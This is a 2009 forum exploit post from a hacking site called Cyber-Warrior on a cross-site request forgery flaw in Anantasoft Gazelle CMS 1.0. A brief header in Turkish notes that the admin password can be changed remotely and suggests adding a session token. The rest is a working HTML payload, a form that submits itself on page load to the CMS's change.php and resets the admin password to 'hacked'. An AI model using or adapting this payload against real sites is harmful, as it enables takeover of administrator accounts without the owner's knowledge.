Anantasoft Gazelle CMS ~XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Anantasoft Gazelle CMS ~XSRF Vuln.

Madde
	Author : Bug Researchers/system-hacker
	Date : 18.04.2009 16:59:00
	# Anantasoft Gazelle CMS ~XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Anantasoft Gazelle CMS 1.0 # Vulnerable Type : Xsrf # Infection : Uzaktan otomatik olarak admin pass change edilebilir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli, eski sifre sorulmalidir. # author : Bug Researchers/system-hacker ############################################################ < ------------------- header data end of ------------------- > < -- bug code start -- > <bOdy onload=Submit();> <script>function Submit(){document.frm.submit();}</script> <form name=frm action=http://demo.opensourcecms.com/gazelle/change.php method=post> <label for=name>username: </label> <input type=hidden id=name name=name value=admin /> <label for=pass>password: </label> <input type=password id=pass name=pass value=hacked/> <label for=controle>password (again): </label> <input type=password id=controle name=controle value=hacked/> <label for=email>Email address: </label> <input type=hidden id=email name=email value=demo@demo.com /> <input type=submit name=save value=Save class=button /> <input type=hidden name=table value=users /> <input type=hidden name=number value=1 /> <input type=hidden name=active value=1 /> </form> < -- bug code end of -- >